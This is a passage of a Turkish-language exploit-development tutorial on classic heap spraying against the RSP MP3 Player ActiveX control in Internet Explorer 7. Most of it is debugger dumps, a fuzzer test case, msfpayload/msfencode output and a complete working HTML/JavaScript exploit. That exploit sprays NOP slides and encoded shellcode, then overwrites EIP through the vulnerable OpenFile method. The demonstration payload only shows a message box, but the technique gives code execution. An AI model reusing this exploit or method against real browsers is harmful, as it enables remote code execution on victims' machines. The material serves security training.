03bf0018 fffc fffc [0b] 03bf0020 7ffe0 - (busy VirtualAlloc)
03c80018 fffc fffc [0b] 03c80020 7ffe0 - (busy VirtualAlloc)
03d10018 fffc fffc [0b] 03d10020 7ffe0 - (busy VirtualAlloc)
03da0018 fffc fffc [0b] 03da0020 7ffe0 - (busy VirtualAlloc)
03e30018 fffc fffc [0b] 03e30020 7ffe0 - (busy VirtualAlloc)
03ec0018 fffc fffc [0b] 03ec0020 7ffe0 - (busy VirtualAlloc)
03f50018 fffc fffc [0b] 03f50020 7ffe0 - (busy VirtualAlloc)
[...Snip...]
15110018 fffc fffc [0b] 15110020 7ffe0 - (busy VirtualAlloc)
151a0018 fffc fffc [0b] 151a0020 7ffe0 - (busy VirtualAlloc)
15230018 fffc fffc [0b] 15230020 7ffe0 - (busy VirtualAlloc)
152c0018 fffc fffc [0b] 152c0020 7ffe0 - (busy VirtualAlloc)
15350018 fffc fffc [0b] 15350020 7ffe0 - (busy VirtualAlloc)
153e0018 fffc fffc [0b] 153e0020 7ffe0 - (busy VirtualAlloc)
15470018 fffc fffc [0b] 15470020 7ffe0 - (busy VirtualAlloc)
15500018 fffc fffc [0b] 15500020 7ffe0 - (busy VirtualAlloc)
Şimdiye kadar kendinize şunu söylüyor olabilirsiniz: Evet bu çok havalı ama ne anlamı var?. Normalde exploit geliştirmede, 4 baytlık bir yazıya sahip olduğumuzda, uygulama modüllerinden birinde bir talimat için bir işaretçi ile üzerine yazarız. Güvenilirlik için, bu işaretçiyi (EIP gibi) bellekteki shell kodumuzun adresi ile doğrudan yazmayız. Yığın püskürtmesi durumunda, yığın bellek düzenini doğrudan belirleyebiliriz ve 4 baytlık yazma noktalarımızda kullandığımız herhangi bir statik bellek adresinin yığın üzerindeki NOPlarımıza işaret ettiğinden emin oluruz. Aynı adres her zaman arabellekte tam olarak aynı yeri göstermez, bizim NOP-slideımız (%99.997 olduğunu hatırlayın) o kadar büyük ki exploiti her başlattığımızda vuracağımızdan emin olabiliriz. NOPu çalıştırdıktan sonra, shell kodumuza gireceğiz ve yürütme koduna sahibiz! Aşağıda uygun bir işaretçi bulmak için bakacağımız olağan şüphelileri görebilirsiniz. Bu adreslerdeki işlem koduna bir göz atarsak, şüphelerimizin doğrulandığını görebiliriz.
Tahmin Ettiğimiz İşaretçiler:
- 0x05050505
- 0x06060606
- 0x07070707
- ....
Özel bir önemi olan başka bir adres 0x0c0c0c0cdir ancak, bu eğitimin 2. Bölümünde açıklayacağım.
Kod:
0:014> d 04040404
04040404 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
04040414 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
04040424 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
04040434 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
04040444 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
04040454 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
04040464 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
04040474 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
0:014> d 05050505
05050505 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
05050515 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
05050525 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
05050535 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
05050545 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
05050555 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
05050565 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
05050575 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
0:014> d 06060606
06060606 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
06060616 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
06060626 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
06060636 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
06060646 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
06060656 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
06060666 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
06060676 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
Yine söylüyorum, eğitimin bu kısmında kesinlik konusunda çok endişelenmemize gerek olmayan klasik yığın püskürtmesi ile ilgileniyoruz. 2. Kısımda aşırı hassasiyet gerektiren püskürtmeleri kapsayacaktır. Çünkü, (1) DEP ile uğraşmamız gerektiğinden ve/veya (2) Use-After-Free exploitlediğimizden dolayı. Eh, bizim exploitimiz için zemini hazırladık, bu yüzden, bir shell açma zamanı geldi.
Crashi Tekrarlama + EIP
RSP MP3 Playerı eğitimin başlangıcındaki linklerden indirin. ocx dosyasını kaydetmek için bir komut istemcisi açın, ocx dosyasını içere klasöre gidin ve regsvr32 resmp3ocx320sw.cos yazın. Dosyanın başarıyla kaydedildiğini söyleyen bir ekran görmelisiniz. Ayrıca, COMRaiderın bir kopyasını buradan indirin ve yükleyin. COMRaider kullanımı kolay ve çökmeler için test yapılmasını sağlayan kaba ama etkili bir ActiveX fuzzerıdır (vbscript olmasına rağmen). Buradaki orjinal exploite baktığımızda çökmenin OpenFile ocx üye fonksiyonundan kaynaklandığını görebiliriz. Bu üyeyi sadece bulanıklaştırırsak, toplam 18 vakadan 14 istisnayı tetiklediğimizi görebiliriz. respmp3ocx320sw bulanıklaştırmak tüm zamanımı almadı ama bunu yaparsanız, çok sayıda exploitlenebilir çökme bulacağınızdan şüphelenmeyin!
Bir çökmeye neden olan test durumlarından birine bakarsak, exploit-dbdeki exploite çok benzer olduğunu görebiliriz.
Kod:
<?XML version='1.0' standalone='yes' ?>
<package><job id='DoneInVBS' debug='false' error='true'>
<object classid='clsid:3C88113F-8CEC-48DC-A0E5-983EF9458687' id='target' />
<script language='vbscript'>
'File Generated by COMRaider v0.0.133 - http://labs.idefense.com
'Wscript.echo typename(target)
'for debugging/custom prolog
targetFile = "C:\********s and Settings\Administrator\Desktop\RSP MP3 Player\rspmp3ocx320sw.ocx"
prototype = "Function OpenFile ( ByVal Inputfile As String )"
memberName = "OpenFile"
progid = "RSPMP3_320.RSPMP3"
argCount = 1
arg1=String(1044, "A")
target.OpenFile arg1
</script></job></package>
Biraz araştırma yapıp vbscripti javascript dönüştürdükten sonra, çökmeyi tetikleyen aşağıdaki htmlyi buldum. Structured Exception Handler aracılığıyla EIP üzerinde kontrol sahibi oluyoruz ancak gerçektende önemli değil, başarmak istediğimiz tek şey, yığın püskürtmesinde öngörülebilir işaretçilerden biriyle EIPnin üzerine yazmaktır.
Kod:
<html>
<head>
<object id="Oops" classid='clsid:3C88113F-8CEC-48DC-A0E5-983EF9458687'></object>
</head>
<body>
<script>
pointer='';
for (counter=0; counter<=1000; counter++) pointer+=unescape("%06");
Oops.OpenFile(pointer);
</script>
</body>
</html>
Kod:
eax=000003ea ebx=00000001 ecx=0000003c edx=0483fd08 esi=03ff0f64 edi=04840000
eip=03ed2fb7 esp=04826e90 ebp=0483ff9c iopl=0 nv up ei pl nz ac pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010217
rspmp3ocx1+0x2fb7:
03ed2fb7 f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
0:014> g
(87c.f6c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=06060606 edx=7c9032bc esi=00000000 edi=00000000
eip=06060606 esp=04826ac0 ebp=04826ae0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
06060606 ?? ???
0:014> d 06060606
06060606 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
06060616 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
06060626 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
06060636 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
06060646 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
06060656 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
06060666 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
06060676 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
Gördüğümüz gibi, EIPyi 0x06060606 ile başarıyla yeniden yazdık (tahmin ettiğimiz işaretçilerden birisi ile) ve yürütme akışı hatası ortaya çıktı çünkü bu adreste henüz bir talimat bulunmuyor. İlginç bir konu olarak arabelleğimiz çok kesin değil, SEH arabelleğe 650 bayt civarında bir yerde olduğunu düşünüyorum ancak yine söylüyorum, bu çok önemli değil çünkü EIPye yığın püskürtmesine bir trambolin olarak ihtiyacımız var.
Shell Kodu + Oyun Bitti
Tamam, ilk olarak exploit için istenen bir shell kodu oluşturalım. Javascript Little Endian olarak kodlamayı unutmayalım.
Kod:
root@bt:~# msfpayload windows/messagebox O
Name: Windows MessageBox
Module: payload/windows/messagebox
Version: 13403
Platform: Windows
Arch: x86
Needs Admin: No
Total size: 270
Rank: Normal
Provided by:
corelanc0d3r
jduck <jduck@****sploit.com>
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique: seh, thread, process, none
ICON NO yes Icon type can be NO, ERROR, INFORMATION, WARNING or QUESTION
TEXT Hello, from MSF! yes Messagebox Text (max 255 chars)
TITLE MessageBox yes Messagebox Title (max 255 chars)
Description:
Spawns a dialog via MessageBox using a customizable title, text &
icon
root@bt:~# msfpayload windows/messagebox text='Oww Snap!' title='b33f' O
Name: Windows MessageBox
Module: payload/windows/messagebox
Version: 13403
Platform: Windows
Arch: x86
Needs Admin: No
Total size: 255
Rank: Normal
Provided by:
corelanc0d3r
jduck <jduck@****sploit.com>
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique: seh, thread, process, none
ICON NO yes Icon type can be NO, ERROR, INFORMATION, WARNING or QUESTION
TEXT Oww Snap! yes Messagebox Text (max 255 chars)
TITLE b33f yes Messagebox Title (max 255 chars)
Description:
Spawns a dialog via MessageBox using a customizable title, text &
icon
root@bt:~# msfpayload windows/messagebox text='Oww Snap!' title='b33f' R| msfencode -t js_le
[*] x86/shikata_ga_nai succeeded with size 282 (iteration=1)
%u22bb%ua82f%udb56%ud9dd%u2474%u58f4%uc931%u40b1%u5831%u0315%u1558%uc083%ue204%uf6d7%ucd43
%u7dce%u06b0%uafc1%u910a%u9910%ud50f%u2923%u9f5b%uc2cf%u7c2d%u9244%uf7d9%u3b24%u3151%u74e0
%u4b7d%ud2e3%u627c%u04fc%u0f1e%ue36e%u84fb%ud72b%ucf88%u5f9b%u058e%ud550%u5288%uca3c%u8fa9
%u3e23%uc4e3%ub497%u34f2%u35e6%u08c5%u66f4%u49a2%u7070%u866a%u7f75%uf2ab%u4471%u214f%uce51
%ua24e%u14fb%u5e90%udf9d%ueb9e%ubaea%uea82%ub107%u67bf%u2ed6%u3336%ub2fc%u7f28%uc24e%uab83
%u3627%u915a%u375f%u1813%u1573%ubb44%u6574%u4d6b%u9ecf%u302f%u7c17%u4a3c%ua5bb%ubc91%u5a4d
%uc2ea%ue0d8%u551d%u86b6%ue43d%u642e%uc80c%ue2ca%u6705%u8177%udb6d%u6f53%u02e7%u90cd%ucea2
%uac78%u741d%u93d2%u36d3%uc8a5%u14cf%u9141%u66f0%u3a6e%ub957%u9bb0%udb0f%ue883%u2aa9%u8638
%u696a%u1eba%u1971%u78e3%ufa56%u2b8b%u9bf8%ua43b%u2b4b%u14cc%u1a65%u19ba%u95a1%u4033%u7798
%ud011%u258a%u066a%u0a1d%u58c4%u820b
Tamam, şimdi POCu temizleyelim. Yığın püskürtmesi için yapmamın gereken tek değişiklik, yeni ürettiğimiz shell koduna koymaktır!
Kod:
<!--------------------------------------------------------------------------------
// Exploit: RSP MP3 Player OCX ActiveX Heap Spray //
// Author: b33f - http://www.fuzzysecurity.com/ //
// OS: Tested on XP PRO SP3 //
// Browser: IE 7.00 //
// Software: http://www.exploit-db.com/wp-content/themes/exploit/applications/ //
// 16fc339cccdb34dd45af52de8c046d8d-rsp_mp3_ocx_3.2.0_sw.zip //
//------------------------------------------------------------------------------//
// This exploit was created for Part 8 of my Exploit Development tutorial //
// series => http://www.fuzzysecurity.com/tutorials/expDev/8.html //
--------------------------------------------------------------------------------->
<html>
<head>
<object id="Oops" classid='clsid:3C88113F-8CEC-48DC-A0E5-983EF9458687'></object>
</head>
<body>
<script>
//msfpayload windows/messagebox text='Oww Snap!' title='b33f' R| msfencode -t js_le
var Shellcode = unescape(
'%u22bb%ua82f%udb56%ud9dd%u2474%u58f4%uc931%u40b1%u5831%u0315%u1558%uc083%ue204%uf6d7%ucd43'+
'%u7dce%u06b0%uafc1%u910a%u9910%ud50f%u2923%u9f5b%uc2cf%u7c2d%u9244%uf7d9%u3b24%u3151%u74e0'+
'%u4b7d%ud2e3%u627c%u04fc%u0f1e%ue36e%u84fb%ud72b%ucf88%u5f9b%u058e%ud550%u5288%uca3c%u8fa9'+
'%u3e23%uc4e3%ub497%u34f2%u35e6%u08c5%u66f4%u49a2%u7070%u866a%u7f75%uf2ab%u4471%u214f%uce51'+
'%ua24e%u14fb%u5e90%udf9d%ueb9e%ubaea%uea82%ub107%u67bf%u2ed6%u3336%ub2fc%u7f28%uc24e%uab83'+
'%u3627%u915a%u375f%u1813%u1573%ubb44%u6574%u4d6b%u9ecf%u302f%u7c17%u4a3c%ua5bb%ubc91%u5a4d'+
'%uc2ea%ue0d8%u551d%u86b6%ue43d%u642e%uc80c%ue2ca%u6705%u8177%udb6d%u6f53%u02e7%u90cd%ucea2'+
'%uac78%u741d%u93d2%u36d3%uc8a5%u14cf%u9141%u66f0%u3a6e%ub957%u9bb0%udb0f%ue883%u2aa9%u8638'+
'%u696a%u1eba%u1971%u78e3%ufa56%u2b8b%u9bf8%ua43b%u2b4b%u14cc%u1a65%u19ba%u95a1%u4033%u7798'+
'%ud011%u258a%u066a%u0a1d%u58c4%u820b');
var NopSlide = unescape('%u9090%u9090');
var headersize = 20;
var slack = headersize + Shellcode.length;
while (NopSlide.length < slack) NopSlide += NopSlide;
var filler = NopSlide.substring(0,slack);
var chunk = NopSlide.substring(0,NopSlide.length - slack);
while (chunk.length + slack < 0x40000) chunk = chunk + chunk + filler;
var memory = new Array();
for (i = 0; i < 500; i++){ memory[i] = chunk + Shellcode }
// Trigger crash => EIP = 0x06060606
pointer='';
for (counter=0; counter<=1000; counter++) pointer+=unescape("%06");
Oops.OpenFile(pointer);
</script>
</body>
</html>